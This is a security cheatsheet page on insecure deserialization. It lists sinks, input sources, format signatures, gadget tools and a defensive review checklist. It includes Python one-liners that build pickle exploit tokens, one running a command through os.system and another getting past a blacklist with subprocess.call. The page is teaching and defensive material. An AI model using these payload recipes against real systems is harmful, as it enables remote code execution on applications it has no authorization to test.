Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 01. Applications / 02. Deserialization Attacks

Cheatsheet

Use this as a quick reference while testing deserialization in labs and authorized assessments.


Core Question

Ask:

Does this input rebuild simple data, or does it rebuild live objects?

Dangerous pattern:

untrusted bytes -> object deserializer -> live application object

Safer pattern:

untrusted bytes -> data parser -> schema validation -> manual object construction

Common Sinks

Python:

pickle.loads(data)
pickle.load(file)
yaml.load(data)

Java:

ObjectInputStream.readObject()

.NET:

BinaryFormatter.Deserialize(stream)
LosFormatter.Deserialize(data)

PHP:

unserialize($data)

Ruby:

Marshal.load(data)

Common Sources

cookies
session files
remember-me tokens
cache files
job queues
message brokers
RPC parameters
import/export files
saved project files
plugin manifests
backup archives

Format Clues

Java serialization:

ac ed 00 05

PHP serialization:

O:
a:
s:
i:

Python pickle:

pickle opcodes
base64 blobs containing binary data
GLOBAL
REDUCE
__reduce__

ASP.NET:

__VIEWSTATE
__EVENTVALIDATION

File extensions:

.ser
.pkl
.pickle
.bin
.dat
.session
.state

Lab Commands

Create a normal pickle token:

python3 - <<'PY'
import base64
import pickle
from dataclasses import dataclass

@dataclass
class Session:
    username: str
    role: str

print(base64.urlsafe_b64encode(
    pickle.dumps(Session("operator", "user"))
).decode())
PY

Create a command proof token:

python3 - <<'PY'
import base64
import os
import pickle

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

print(base64.urlsafe_b64encode(pickle.dumps(Exploit())).decode())
PY

Create a blacklist bypass token:

python3 - <<'PY'
import base64
import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        return (subprocess.call, (["id"],))

print(base64.urlsafe_b64encode(pickle.dumps(Exploit())).decode())
PY

Create a fixed JSON token:

python3 - <<'PY'
import base64
import json

print(base64.urlsafe_b64encode(
    json.dumps({"username": "operator", "role": "user"}).encode()
).decode())
PY

Lab Expected Results

basic      malicious pickle executes id
blacklist  os.system token blocked
blacklist  subprocess token bypasses blacklist
better     unexpected callable/class blocked
fixed      JSON token accepted
fixed      admin role rejected

Tools To Know

ysoserial       Java gadget payloads
ysoserial.net   DotNET gadget payloads
phpggc          PHP gadget payloads
marshalsec      Java serialization research tooling
gadgetinspector Java gadget discovery

Tooling depends heavily on target language, framework, dependency versions, and available classes.


Defensive Review

Confirm:

  • Untrusted input is not passed to object-capable deserializers.
  • JSON or another data-only format is used where possible.
  • Schemas validate field names, types, and allowed values.
  • Application objects are constructed manually after validation.
  • Type allowlists are used when object deserialization is unavoidable.
  • Platform deserialization filters are enabled.
  • Serialized data crossing trust boundaries is signed and authenticated.
  • Signing is not treated as a replacement for safe parsing.
  • Dependencies are patched to reduce gadget availability.
  • Deserialization errors and unexpected type names are logged.

Key Takeaway

Base64 is not protection.

Signing is not parsing safety.

Blacklists are not a boundary.

The safe boundary is:

parse data
validate data
construct objects intentionally